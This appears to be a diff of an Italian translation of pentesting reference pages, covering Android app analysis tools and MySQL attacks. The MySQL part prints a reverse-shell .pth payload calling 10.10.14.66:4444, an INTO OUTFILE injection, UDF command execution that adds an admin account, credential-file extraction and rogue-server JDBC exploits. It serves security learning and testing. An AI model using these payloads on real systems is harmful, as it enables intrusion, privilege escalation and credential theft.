Il concetto è che trascini e rilasci il file della tua applicazione mobile (un file .apk o .ipa) sull'applicazione StaCoAn e questo genererà per te un report visuale e portatile. Puoi modificare le impostazioni e le wordlists per ottenere un'esperienza personalizzata.
|
||||
|
||||
Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
@ -719,7 +719,7 @@ Scarica[ latest release](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
|
||||
|
||||
AndroBugs Framework è un sistema di analisi delle vulnerabilità Android che aiuta sviluppatori o hackers a individuare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\
|
||||
AndroBugs Framework è un sistema di analisi delle vulnerabilità per Android che aiuta sviluppatori o hacker a trovare potenziali vulnerabilità di sicurezza nelle applicazioni Android.\
|
||||
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
|
||||
```
|
||||
python androbugs.py -f [APK file]
|
||||
@ -729,9 +729,9 @@ androbugs.exe -f [APK file]
|
||||
|
||||
**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente su potenziali comportamenti dannosi sviluppati da un'applicazione Android.
|
||||
|
||||
La rilevazione viene eseguita tramite la **static analysis** del Dalvik bytecode dell'applicazione, rappresentato come **Smali**, usando la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
La rilevazione viene eseguita tramite **static analysis** del Dalvik bytecode dell'applicazione, rappresentato come **Smali**, usando la libreria [`androguard`](https://github.com/androguard/androguard).
|
||||
|
||||
Questo strumento cerca i **comportamenti comuni delle applicazioni "maligne"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
Questo strumento individua i **comportamenti comuni delle applicazioni "maligne"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
|
||||
```
|
||||
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
```
|
||||
@ -739,11 +739,11 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** è un **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. È uno strumento che mette insieme tool comunemente usati per il reverse engineering e l'analisi di mobile application, per assistere nei test delle app mobili contro le minacce OWASP mobile security. Il suo obiettivo è rendere questo compito più semplice e accessibile agli sviluppatori di applicazioni mobili e ai professionisti della sicurezza.
|
||||
**MARA** is a **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. È uno strumento che mette insieme strumenti comunemente usati per il reverse engineering e l'analisi delle mobile application, per assistere nel testing delle mobile application contro le minacce per la sicurezza mobile identificate da OWASP. Il suo obiettivo è rendere questo compito più facile e accessibile agli sviluppatori di mobile application e ai professionisti della sicurezza.
|
||||
|
||||
È in grado di:
|
||||
|
||||
- Estrarre codice Java e Smali usando diversi tool
|
||||
- Estrarre codice Java e Smali usando diversi strumenti
|
||||
- Analizzare APK usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
|
||||
- Estrarre informazioni private dall'APK usando regexp.
|
||||
- Analizzare il Manifest.
|
||||
@ -752,29 +752,29 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
### Koodous
|
||||
|
||||
Utile per rilevare malware: [https://koodous.com/](https://koodous.com)
|
||||
Utile per rilevare malware: [https://koodous.com/](https://koodous.com/)
|
||||
|
||||
## Offuscamento/Deoffuscamento del codice
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Tieni presente che, a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti potrebbero essere offuscati oppure no.
|
||||
Nota che a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti potrebbero o meno risultare offuscati.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca codice Java. È in grado di ottimizzare il bytecode così come di rilevare e rimuovere istruzioni non usate. ProGuard è software libero e viene distribuito sotto la GNU General Public License, versione 2.
|
||||
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca codice Java. È in grado di ottimizzare il bytecode oltre a rilevare e rimuovere istruzioni non utilizzate. ProGuard è software libero distribuito sotto la GNU General Public License, versione 2.
|
||||
|
||||
ProGuard viene distribuito come parte dell'Android SDK ed esegue quando si compila l'applicazione in modalità release.
|
||||
ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la build dell'applicazione in modalità release.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Trova una guida passo-passo per deobfuscate l'apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Trova una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(From that guide) Last time we checked, the Dexguard mode of operation was:
|
||||
(Dalla guida) L'ultima volta che abbiamo controllato, la modalità di funzionamento di Dexguard era:
|
||||
|
||||
- load a resource as an InputStream;
|
||||
- feed the result to a class inheriting from FilterInputStream to decrypt it;
|
||||
- do some useless obfuscation to waste a few minutes of time from a reverser;
|
||||
- feed the decrypted result to a ZipInputStream to get a DEX file;
|
||||
- finally load the resulting DEX as a Resource using the `loadDex` method.
|
||||
- caricare una risorsa come InputStream;
|
||||
- passare il risultato a una classe che eredita da FilterInputStream per decrittarlo;
|
||||
- fare alcune inutili operazioni di obfuscation per far perdere qualche minuto al reverser;
|
||||
- passare il risultato decrittato a un ZipInputStream per ottenere un file DEX;
|
||||
- infine caricare il DEX risultante come risorsa usando il metodo `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
@ -784,15 +784,15 @@ Puoi caricare un APK offuscato sulla loro piattaforma.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
|
||||
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
|
||||
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Usa l'API pubblica Gemini di Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
È un **deobfuscator Android generico.** Simplify **esegue virtualmente un'app** per comprenderne il comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da capire per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale specifico tipo di offuscamento sia stato usato.
|
||||
È un deobfuscator Android generico. Simplify esegue virtualmente un'app per comprenderne il comportamento e poi cerca di ottimizzare il codice in modo che si comporti identicamente ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale tipo specifico di offuscamento sia stato usato.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD ti dà informazioni su **come un APK è stato creato**. Identifica molti **compilatori**, **packers**, **obfuscators** e altre cose strane. È [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android.
|
||||
APKiD ti dà informazioni su **come è stato creato un APK**. Identifica molti **compilatori**, **packers**, **obfuscators**, e altre cose strane. È lo [_PEiD_] per Android.
|
||||
|
||||
### Manual
|
||||
|
||||
@ -802,13 +802,13 @@ APKiD ti dà informazioni su **come un APK è stato creato**. Identifica molti *
|
||||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate che include una collezione dei più recenti framework, tutorial e lab provenienti da diversi esperti e ricercatori per reverse engineering e analisi di malware.
|
||||
AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate che include una raccolta dei più recenti framework, tutorial e lab da diversi esperti e ricercatori per reverse engineering e analisi di malware.
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) It is a great list of resources
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
|
||||
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È un'ottima lista di risorse
|
||||
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido Android
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
@ -816,7 +816,7 @@ AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate c
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
|
||||
## Da provare
|
||||
## Yet to try
|
||||
|
||||
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## **Informazioni di base**
|
||||
|
||||
**MySQL** può essere descritto come un sistema di gestione di database relazionali open source (**RDBMS**) disponibile gratuitamente. Funziona con il linguaggio di query strutturato (**SQL**), permettendo la gestione e la manipolazione dei database.
|
||||
**MySQL** può essere descritto come un **sistema di gestione di database relazionale (RDBMS)** open source disponibile gratuitamente. Opera tramite il **Structured Query Language (SQL)**, consentendo la gestione e la manipolazione dei database.
|
||||
|
||||
**Porta predefinita:** 3306
|
||||
```
|
||||
@ -22,9 +22,9 @@ mysql -u root -p # A password will be asked (check someone)
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## Enumerazione Esterna
|
||||
## External Enumeration
|
||||
|
||||
Alcune delle azioni di enumerazione richiedono credenziali valide
|
||||
Alcune delle azioni di enumeration richiedono credenziali valide.
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
Puoi consultare la documentazione per il significato di ciascun privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
Puoi vedere nei documenti il significato di ogni privilegio: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL File RCE
|
||||
|
||||
@ -110,45 +110,47 @@ Puoi consultare la documentazione per il significato di ciascun privilegio: [htt
|
||||
../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
|
||||
{{#endref}}
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (hook di configurazione specifici per sito)
|
||||
#### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks)
|
||||
|
||||
Abusando della classica `INTO OUTFILE` primitive è possibile ottenere *arbitrary code execution* su target che successivamente eseguono script **Python**.
|
||||
Abusando della classica primitiva `INTO OUTFILE` è possibile ottenere *arbitrary code execution* su target che in seguito eseguono script **Python**.
|
||||
|
||||
1. Usare `INTO OUTFILE` per depositare un file personalizzato **`.pth`** in qualsiasi directory caricata automaticamente da `site.py` (es. `.../lib/python3.10/site-packages/`).
|
||||
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete si avvia.
|
||||
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (ad esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) il payload viene eseguito con gli stessi privilegi del processo del web-server (FortiWeb lo ha eseguito come **root** → full pre-auth RCE).
|
||||
1. Usa `INTO OUTFILE` per scrivere un file personalizzato **`.pth`** in qualsiasi directory caricata automaticamente da `site.py` (es. `.../lib/python3.10/site-packages/`).
|
||||
2. Il file `.pth` può contenere una *singola riga* che inizia con `import ` seguita da codice Python arbitrario che verrà eseguito ogni volta che l'interprete viene avviato.
|
||||
3. Quando l'interprete viene eseguito implicitamente da uno script CGI (per esempio `/cgi-bin/ml-draw.py` con shebang `#!/bin/python`) il payload viene eseguito con gli stessi privilegi del processo del web-server (FortiWeb lo eseguiva come **root** → full pre-auth RCE).
|
||||
|
||||
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbe essere necessario usare hex/`UNHEX()` o concatenazione di stringhe):
|
||||
Esempio di payload `.pth` (singola riga, non possono essere inclusi spazi nel payload SQL finale, quindi potrebbero essere necessari hex/`UNHEX()` o concatenazione di stringhe):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sostituiti con `/**/` per bypassare un filtro di spazi `sscanf("%128s")` e mantenere la lunghezza totale ≤128 byte):
|
||||
Esempio di creazione del file tramite una query **UNION** (i caratteri di spazio sostituiti con `/**/` per bypassare un filtro di spazi `sscanf("%128s")` e mantenere la lunghezza totale ≤128 bytes):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
Limitazioni importanti & bypasses:
|
||||
Limitazioni importanti e bypass:
|
||||
|
||||
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome del file.
|
||||
* Il percorso del file viene risolto **relativamente alla CWD di MySQL**, quindi anteporre `../../` aiuta ad accorciare il percorso e bypassare le restrizioni sui percorsi assoluti.
|
||||
* Se l'input dell'attaccante viene letto con `%128s` (o simile) qualsiasi spazio troncherà il payload; usare le sequenze di commento di MySQL `/**/` o `/*!*/` per sostituire gli spazi.
|
||||
* L'utente MySQL che esegue la query necessita del privilegio `FILE`, ma in molti appliance (es. FortiWeb) il servizio gira come **root**, concedendo l'accesso in scrittura quasi ovunque.
|
||||
* `INTO OUTFILE` **non può sovrascrivere** file esistenti; scegliere un nuovo nome di file.
|
||||
* Il percorso del file viene risolto **relativo alla CWD di MySQL**, quindi prefissare con `../../` aiuta ad abbreviare il percorso e a bypassare le restrizioni sui percorsi assoluti.
|
||||
* Se l'input dell'attaccante viene estratto con `%128s` (o simile) qualsiasi spazio troncherà il payload; usare le sequenze di commento MySQL `/**/` o `/*!*/` per sostituire gli spazi.
|
||||
* L'utente MySQL che esegue la query necessita del privilegio `FILE`, ma in molti appliance (es. FortiWeb) il servizio gira come **root**, conferendo accesso in scrittura quasi ovunque.
|
||||
|
||||
Dopo aver inserito il `.pth`, basta richiedere qualsiasi CGI gestito dal python interpreter per ottenere code execution:
|
||||
Dopo aver scritto il `.pth`, basta richiedere qualsiasi CGI gestito dall'interprete python per ottenere l'esecuzione di codice:
|
||||
```
|
||||
GET /cgi-bin/ml-draw.py HTTP/1.1
|
||||
Host: <target>
|
||||
```
|
||||
Il processo Python importerà automaticamente il `.pth` malevolo ed eseguirà il shell payload.
|
||||
Il processo Python importerà automaticamente il file `.pth` maligno ed eseguirà lo shell payload.
|
||||
```
|
||||
# Attacker
|
||||
$ nc -lvnp 4444
|
||||
id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## MySQL lettura arbitraria di file da parte del client
|
||||
---
|
||||
|
||||
Infatti, quando provi a **load data local into a table** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client** di leggerlo e inviarne il contenuto. **Quindi, se riesci a manomettere un mysql client per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\
|
||||
Nota che questo è il comportamento utilizzando:
|
||||
## MySQL: lettura arbitraria di file tramite il client
|
||||
|
||||
In realtà, quando provi a **load data local into a table** il **contenuto di un file**, il server MySQL o MariaDB chiede al **client di leggerlo** e inviare il contenuto. **Quindi, se puoi manomettere un mysql client per connettersi al tuo server MySQL, puoi leggere file arbitrari.**\
|
||||
Nota che questo è il comportamento usando:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
@ -160,7 +162,7 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
**PoC iniziale:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**In questo articolo puoi vedere una descrizione completa dell'attacco e anche come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**In questo paper puoi vedere una descrizione completa dell'attacco e anche come estenderlo a RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**Qui puoi trovare una panoramica dell'attacco:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
||||
|
||||
@ -171,23 +173,23 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
### Utente Mysql
|
||||
|
||||
Sarà molto interessante se mysql è in esecuzione come **root**:
|
||||
Sarebbe molto interessante se mysql fosse eseguito come **root**:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
#### Dangerous Settings of mysqld.cnf
|
||||
#### Impostazioni pericolose di mysqld.cnf
|
||||
|
||||
Nella configurazione dei servizi MySQL, sono usate diverse impostazioni per definire il suo funzionamento e le misure di sicurezza:
|
||||
Nella configurazione dei servizi MySQL, varie impostazioni vengono utilizzate per definire il suo funzionamento e le misure di sicurezza:
|
||||
|
||||
- The **`user`** setting is utilized for designating the user under which the MySQL service will be executed.
|
||||
- **`password`** is applied for establishing the password associated with the MySQL user.
|
||||
- **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface.
|
||||
- The **`debug`** variable is indicative of the present debugging configurations, including sensitive information within logs.
|
||||
- **`sql_warnings`** manages whether information strings are generated for single-row INSERT statements when warnings emerge, containing sensitive data within logs.
|
||||
- With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security.
|
||||
- L'impostazione **`user`** viene utilizzata per designare l'utente sotto cui il servizio MySQL verrà eseguito.
|
||||
- **`password`** è usata per stabilire la password associata all'utente MySQL.
|
||||
- **`admin_address`** specifica l'indirizzo IP che ascolta per connessioni TCP/IP sull'interfaccia di rete amministrativa.
|
||||
- La variabile **`debug`** indica le configurazioni di debug attuali, inclusa la presenza di informazioni sensibili nei log.
|
||||
- **`sql_warnings`** gestisce se vengono generate stringhe informative per le istruzioni INSERT di singola riga quando emergono warning, che possono contenere dati sensibili nei log.
|
||||
- Con **`secure_file_priv`**, l'ambito delle operazioni di importazione ed esportazione dei dati è vincolato per aumentare la sicurezza.
|
||||
|
||||
### Privilege escalation
|
||||
### Escalation dei privilegi
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
@ -205,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### Privilege Escalation via library
|
||||
### Escalation dei privilegi tramite libreria
|
||||
|
||||
Se il **mysql server is running as root** (o un altro utente con privilegi più elevati) puoi farlo eseguire comandi. Per questo, devi usare le **user defined functions**. E per crearne una avrai bisogno di una **library** per il sistema operativo che esegue mysql.
|
||||
Se il **mysql server è in esecuzione come root** (o come un altro utente con privilegi più elevati) puoi farlo eseguire comandi. Per questo, devi usare le **user defined functions**. E per creare una user defined avrai bisogno di una **libreria** per il sistema operativo che esegue mysql.
|
||||
|
||||
La library malevola da usare può essere trovata all'interno di sqlmap e di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli **Windows**; scegli quella di cui hai bisogno.
|
||||
La libreria malevola da usare può essere trovata all'interno di sqlmap e di metasploit eseguendo **`locate "*lib_mysqludf_sys*"`**. I file **`.so`** sono librerie **linux** e i **`.dll`** sono quelli di **Windows**, scegli quella che ti serve.
|
||||
|
||||
Se **non hai** quelle library, puoi o **cercarle**, oppure scaricare questo [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilarlo nella macchina linux vulnerabile**:
|
||||
Se **non hai** quelle librerie, puoi oppure **cercarle**, oppure scaricare questo [**linux C code**](https://www.exploit-db.com/exploits/1518) e **compilarlo sulla macchina linux vulnerabile**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
Ora che hai la libreria, effettua l'accesso a Mysql come utente privilegiato (root?) e segui i passaggi seguenti:
|
||||
Ora che hai la libreria, fai login in Mysql come utente privilegiato (root?) e segui i passi seguenti:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -250,14 +252,14 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
|
||||
SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
#### Suggerimento Windows: creare directory con NTFS ADS da SQL
|
||||
#### Windows tip: creare directory con NTFS ADS da SQL
|
||||
|
||||
Su NTFS puoi forzare la creazione di directory usando un alternate data stream anche quando è disponibile solo una primitiva di scrittura su file. Se la classic UDF chain si aspetta una directory `plugin` ma questa non esiste e `@@plugin_dir` è sconosciuto o bloccato, puoi crearla prima con `::$INDEX_ALLOCATION`:
|
||||
Su NTFS puoi forzare la creazione di directory usando un alternate data stream anche quando è disponibile soltanto una primitiva di scrittura su file. Se la classica UDF chain si aspetta una directory `plugin` ma questa non esiste e `@@plugin_dir` è sconosciuta o bloccata, puoi crearla prima con `::$INDEX_ALLOCATION`:
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
Questo trasforma il limitato `SELECT ... INTO OUTFILE` in una primitiva più completa sugli stack Windows creando la struttura di cartelle necessaria per i drop di UDF.
|
||||
Questo trasforma il limitato `SELECT ... INTO OUTFILE` in una primitiva più completa su stack Windows creando la struttura di cartelle necessaria per il drop delle UDF.
|
||||
|
||||
### Estrazione delle credenziali MySQL da file
|
||||
|
||||
@ -265,9 +267,9 @@ All'interno di _/etc/mysql/debian.cnf_ puoi trovare la **password in chiaro** de
|
||||
```bash
|
||||
cat /etc/mysql/debian.cnf
|
||||
```
|
||||
Puoi **usare queste credentials per effettuare il login nel database mysql**.
|
||||
Puoi **usare queste credenziali per effettuare il login nel database mysql**.
|
||||
|
||||
All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database).
|
||||
All'interno del file: _/var/lib/mysql/mysql/user.MYD_ puoi trovare **tutti gli hash degli utenti MySQL** (quelli che puoi estrarre da mysql.user all'interno del database)_._
|
||||
|
||||
Puoi estrarli eseguendo:
|
||||
```bash
|
||||
@ -275,7 +277,7 @@ grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_na
|
||||
```
|
||||
### Abilitare il logging
|
||||
|
||||
È possibile abilitare il logging delle query MySQL all'interno di `/etc/mysql/my.cnf` decommentando le seguenti righe:
|
||||
È possibile abilitare la registrazione delle query di mysql nel file `/etc/mysql/my.cnf` rimuovendo il commento dalle seguenti righe:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -296,14 +298,14 @@ File di configurazione
|
||||
- /var/lib/mysql/my.cnf
|
||||
- \~/.my.cnf
|
||||
- /etc/my.cnf
|
||||
- Cronologia dei comandi
|
||||
- Cronologia comandi
|
||||
- \~/.mysql.history
|
||||
- File di log
|
||||
- connections.log
|
||||
- update.log
|
||||
- common.log
|
||||
|
||||
## Database/Tabelle predefinite di MySQL
|
||||
## Database/Tabelle MySQL predefinite
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="information_schema"}}
|
||||
@ -608,13 +610,13 @@ x$statements\_with\_errors\_or\_warnings\
|
||||
x$statements_with_full_table_scans\
|
||||
x$statements\_with\_runtimes\_in\_95th\_percentile\
|
||||
x$statements_with_sorting\
|
||||
x$statements_with_temp_tables\
|
||||
x$statements\_with\_temp\_tables\
|
||||
x$user_summary\
|
||||
x$user\_summary\_by\_file\_io\
|
||||
x$user_summary_by_file_io_type\
|
||||
x$user\_summary\_by\_stages\
|
||||
x$user_summary_by_statement_latency\
|
||||
x$user\_summary_by_statement_type\
|
||||
x$user\_summary\_by\_statement\_type\
|
||||
x$wait_classes_global_by_avg_latency\
|
||||
x$wait\_classes\_global\_by\_latency\
|
||||
x$waits_by_host_by_latency\
|
||||
@ -657,33 +659,33 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS
|
||||
## 2023-2025 Punti salienti (nuovo)
|
||||
|
||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||
Da Connector/J <= 8.0.32 un attacker che può influenzare la **JDBC URL** (per esempio in software di terze parti che chiede una connection string) può richiedere il caricamento di classi arbitrarie sul *client* tramite il parametro `propertiesTransform`. Se un gadget presente nel class-path è caricabile, questo porta a **remote code execution nel contesto del JDBC client** (pre-auth, perché non sono richieste credenziali valide). Un PoC minimale è il seguente:
|
||||
Da Connector/J <= 8.0.32 un attacker che può influenzare la **JDBC URL** (ad esempio in software di terze parti che richiede una stringa di connessione) può richiedere il caricamento di classi arbitrarie sul lato *client* tramite il parametro `propertiesTransform`. Se un gadget presente sul class-path è caricabile, ciò comporta **remote code execution in the context of the JDBC client** (pre-auth, perché non sono richieste credenziali valide). Un PoC minimo è il seguente:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
Eseguire `Evil.class` può essere semplice come metterlo nel class-path dell'applicazione vulnerabile o permettere a un rogue MySQL server di inviare un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` in una allow-list.
|
||||
(Vedi Snyk write-up per i dettagli)
|
||||
Eseguire `Evil.class` può essere semplice come posizionarlo nel class-path dell'applicazione vulnerabile o permettere a un rogue MySQL server di inviare un oggetto serializzato malevolo. Il problema è stato risolto in Connector/J 8.0.33 – aggiorna il driver o imposta esplicitamente `propertiesTransform` in una allow-list.
|
||||
(Vedi il write-up di Snyk per i dettagli)
|
||||
|
||||
### Rogue / Fake MySQL server attacks contro client JDBC
|
||||
Diversi strumenti open-source implementano un protocollo MySQL *parziale* per attaccare client JDBC che si connettono verso l'esterno:
|
||||
### Attacchi da Rogue / Fake MySQL server contro client JDBC
|
||||
Diversi strumenti open-source implementano un protocollo *parziale* MySQL per attaccare client JDBC che effettuano connessioni in uscita:
|
||||
|
||||
* **mysql-fake-server** (Java, supports file read and deserialization exploits)
|
||||
* **rogue_mysql_server** (Python, similar capabilities)
|
||||
* **mysql-fake-server** (Java, supporta lettura di file e exploit di deserializzazione)
|
||||
* **rogue_mysql_server** (Python, capacità simili)
|
||||
|
||||
Percorsi di attacco tipici:
|
||||
Percorsi d'attacco tipici:
|
||||
|
||||
1. L'applicazione vittima carica `mysql-connector-j` con `allowLoadLocalInfile=true` o `autoDeserialize=true`.
|
||||
2. L'attaccante controlla DNS / host entry in modo che il nome host del DB risolva su una macchina sotto il suo controllo.
|
||||
3. Il server malevolo risponde con pacchetti costruiti che innescano o la lettura arbitraria di file tramite `LOCAL INFILE` o Java deserialization → RCE.
|
||||
2. L'attaccante controlla DNS / voci host in modo che il nome host del DB risolva in una macchina sotto il loro controllo.
|
||||
3. Il server malevolo risponde con pacchetti appositamente costruiti che attivano o la lettura arbitraria di file via `LOCAL INFILE` o la deserializzazione Java → RCE.
|
||||
|
||||
Esempio di one-liner per avviare un fake server (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
